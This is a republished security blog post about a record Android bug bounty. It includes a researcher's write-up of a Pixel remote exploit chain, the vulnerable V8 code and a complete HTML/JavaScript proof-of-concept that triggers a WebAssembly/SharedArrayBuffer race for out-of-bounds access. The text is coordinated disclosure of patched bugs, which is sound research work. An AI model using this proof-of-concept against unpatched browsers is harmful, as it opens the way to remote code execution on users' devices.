Google Pays Researcher Record $112,500 for Android Flaw

[Massaro]

In June 2017, the Android security team increased the top payouts for the Android Security Rewards (ASR) program and worked with researchers to streamline the exploit submission process. In August 2017, Guang Gong (@oldfresher) of Alpha Team, Qihoo 360 Technology Co. Ltd. submitted the first working remote exploit chain since the ASR program's expansion. For his detailed report, Gong was awarded $105,000, which is the highest reward in the history of the ASR program and $7500 by Chrome Rewards program for a total of $112,500. The complete set of issues was resolved as part of the December 2017 monthly security update. Devices with the security patch level of 2017-12-05 or later are protected from these issues.
All Pixel devices or partner devices using A/B (seamless) system updates will automatically install these updates; users must restart their devices to complete the installation.
The Android Security team would like to thank Guang Gong and the researcher community for their contributions to Android security. If you'd like to participate in Android Security Rewards program, check out our Program rules. For tips on how to submit reports, see Bug Hunter University.
The following article is a guest blog post authored by Guang Gong of Alpha team, Qihoo 360 Technology Ltd.

Technical details of a Pixel remote exploit chain

The Pixel phone is protected by many layers of security. It was the only device that was not pwned in the 2017 Mobile Pwn2Own competition. But in August 2017, my team discovered a remote exploit chain—the first of its kind since the ASR program expansion. Thanks to the Android security team for their responsiveness and help during the submission process.
This blog post covers the technical details of the exploit chain. The exploit chain includes two bugs, CVE-2017-5116 and CVE-2017-14904. CVE-2017-5116 is a V8 engine bug that is used to get remote code execution in sandboxed Chrome render process. CVE-2017-14904 is a bug in Android's libgralloc module that is used to escape from Chrome's sandbox. Together, this exploit chain can be used to inject arbitrary code into system_server by accessing a malicious URL in Chrome. To reproduce the exploit, an example vulnerable environment is Chrome 60.3112.107 + Android 7.1.2 (Security patch level 2017-8-05) (google/sailfish/sailfish:7.1.2/NJH47F/4146041:user/release-keys).

The RCE bug (CVE-2017-5116)

New features usually bring new bugs. V8 6.0 introduces support for SharedArrayBuffer, a low-level mechanism to share memory between JavaScript workers and synchronize control flow across workers. SharedArrayBuffers give JavaScript access to shared memory, atomics, and futexes. WebAssembly is a new type of code that can be run in modern web browsers— it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages, such as C/C++, with a compilation target so that they can run on the web. By combining the three features, SharedArrayBuffer WebAssembly, and web worker in Chrome, an OOB access can be triggered through a race condition. Simply speaking, WebAssembly code can be put into a SharedArrayBuffer and then transferred to a web worker. When the main thread parses the WebAssembly code, the worker thread can modify the code at the same time, which causes an OOB access.
The buggy code is in the function GetFirstArgumentAsBytes where the argument args may be an ArrayBuffer or TypedArray object. After SharedArrayBuffer is imported to JavaScript, a TypedArray may be backed by a SharedArraybuffer, so the content of the TypedArray may be modified by other worker threads at any time.

 

i::wasm::ModuleWireBytes GetFirstArgumentAsBytes(
    const v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) {
  ......
  } else if (source->IsTypedArray()) {    //--->source should be checked if it's backed by a SharedArrayBuffer
    // A TypedArray was passed.
    Local<TypedArray> array = Local<TypedArray>::Cast(source);
    Local<ArrayBuffer> buffer = array->Buffer();
    ArrayBuffer::Contents contents = buffer->GetContents();
    start =
        reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset();
    length = array->ByteLength();
  } 
  ......
  return i::wasm::ModuleWireBytes(start, start + length);
}

A simple PoC is as follows:

 

<html>
<h1>poc</h1>
<script id="worker1">
worker:{
       self.onmessage = function(arg) {
        console.log("worker started");
        var ta = new Uint8Array(arg.data);
        var i =0;
        while(1){
            if(i==0){
                i=1;
                ta[51]=0;   //--->4)modify the webassembly code at the same time
            }else{
                i=0;
                ta[51]=128;
            }
        }
    }
}
</script>
<script>
function getSharedTypedArray(){
    var wasmarr = [
        0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
        0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03,
        0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e,
        0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65,
        0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01,
        0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b,
        0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b];
    var sb = new SharedArrayBuffer(wasmarr.length);           //---> 1)put WebAssembly code in a SharedArrayBuffer
    var sta = new Uint8Array(sb);
    for(var i=0;i<sta.length;i++)
        sta[i]=wasmarr[i];
    return sta;    
}
var blob = new Blob([
        document.querySelector('#worker1').textContent
        ], { type: "text/javascript" })
var worker = new Worker(window.URL.createObjectURL(blob));   //---> 2)create a web worker
var sta = getSharedTypedArray();
worker.postMessage(sta.buffer);                              //--->3)pass the WebAssembly code to the web worker
setTimeout(function(){
        while(1){
        try{
        sta[51]=0;
        var myModule = new WebAssembly.Module(sta);          //--->4)parse the WebAssembly code
        var myInstance = new WebAssembly.Instance(myModule);
        //myInstance.exports.getAnswerPlus1();
        }catch(e){
        }
        }
    },1000);
//worker.terminate(); 
</script>
</html>

Restul aici. Sursa la fel.